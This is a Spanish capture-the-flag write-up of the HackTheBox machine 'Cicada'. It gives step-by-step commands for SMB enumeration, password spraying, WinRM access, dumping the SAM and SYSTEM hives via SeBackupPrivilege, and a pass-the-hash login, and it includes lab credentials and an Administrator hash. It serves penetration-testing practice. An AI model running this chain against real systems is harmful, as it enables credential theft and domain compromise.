Cicada - HackTheBox
Cicada es una máquina Windows clasificada como «Fácil» en HackTheBox, centrada en Active Directory. El recorrido va desde una enumeración de SMB con sesión de invitado y un poco de password spraying, hasta comprometer el dominio abusando de SeBackupPrivilege para volcar los hashes del sistema.
Portscan
Se realiza el escaneo de puertos con nmap.
nmap -p- --min-rate 1500 -n -Pn -vvv --open 10.129.66.37 -oN 1stScan
User Flag
Tiene abierto el 445, que es SMB, así que probamos enumerar los recursos compartidos
nxc smb 10.129.66.37Se añade el dominio al /etc/hosts
Luego se intentan ver los recursos compartidos, sin autenticación y posteriormente con un usuario guest.
# Sin autenticaciónnxc smb 10.129.66.37 --shares
# Usuario guestnxc smb 10.129.66.37 -u 'guest' -p '' --shares
Con el usuario guest tenemos permisos de lectura en un recurso compartido HR, así que podemos intentar ver su contenido con smbclient y encontrar algo interesante.
Dentro de este recurso se encontró un archivo Notice from HR.txt, el cual descargamos.
smbclient //10.129.66.37/HR -U 'guest'%
Dentro de este archivo se encuentra una nota con una password Cicada$M6Corpb*@Lp#nZp!8, que posiblemente podría ser usada en algún usuario.

Ahora era necesario obtener el usuario al que pertenece esta contraseña, para esto se usó impacket-lookupsid, que permite consultar el servicio LSARPC del DC y obtener nombres asociados a los SID de usuarios y grupos:
impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-passSe usa -no-pass para no usar una contraseña en la autenticación, ya que el dominio permite null sessions mediante el usuario guest.
La herramienta devuelve los grupos y usuarios válidos encontrados, ahora se puede filtrar y crear una wordlist de solo usuarios con los que probar la contraseña encontrada anteriormente.
Usando nxc se realizó un spraying a los usuarios obtenidos, teniendo como resultado que esa contraseña le pertenece al usuario michael.wrightson.
nxc smb 10.129.66.37 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
Con las credenciales actuales, no podemos enumerar recursos compartidos nuevos, pero se realizó una enumeración de usuarios.
nxc smb cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --usersLos resultados nos arrojaron un usuario david.orelious y en su descripción se muestra un mensaje que contiene su posible contraseña aRt$Lp#7t*VQ!3 .
Con este nuevo usuario fue posible enumerar un nuevo recurso compartido, llamado DEV.
nxc smb cicada.htb -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
Para explorar este recurso, de nuevo usamos smbclient
smbclient //cicada.htb/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'Dentro de este recurso compartido, se encontró un archivo .ps1, así que se procedió a descargar.
El archivo contenía lo que al parecer son otras credenciales, ahora las del usuario emily.oscars, junto con la contraseña Q!3@Lp#M6b*7t*Vt.
Por fin estas credenciales sirvieron para acceder con usa sesión de powershell remota (WinRM), usando evil-winrm y las credenciales previamente encontradas.
evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
Una vez dentro de la máquina con este usuario, ya podemos ubicar su directorio Desktop y encontrar la flag de user.

Privesc
Revisando los privilegios que tiene el usuario actual, notamos que cuenta con SeBackupPrivilege, lo cual nos permite leer cualquier archivo del sistema, sin importar permisos o propietario, ya que su propósito principal es que los servicios de backup puedan copiar todo el sistema.
whoami /priv
Por lo tanto, se realiza la copia de archivos protegidos usando reg para manipular el registro del sistema.
Copiamos el SAM y el SYSTEM, ya que con estos podemos extraer los hashes de las passwords.
reg save hklm\sam .\SAM
reg save hklm\system .\SYSTEMAhora descargamos estos archivos a la máquina atacante.
download SAM
download SYSTEM
Ahora con impacket-secretsdump y los archivos descargados podemos intentar obtener los hashes.
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Logramos obtener los hashes del usuario Administrator, así que podemos realizar un Pass-The-Hash para entrar con evil-winrm.
evil-winrm -i cicada.htb -u administrator -H '2b87e7c93a3e8a0ea4a581937016f341'Logramos obtener acceso a la victima siendo administradores y podemos leer la flag de root.

Conclusiones
Con esto completamos Cicada, obteniendo las flags de user y root. Una máquina ideal para practicar la enumeración de SMB con sesiones nulas, el password spraying y el abuso de SeBackupPrivilege para extraer los hashes del SAM y el SYSTEM. ¡Vamos por más!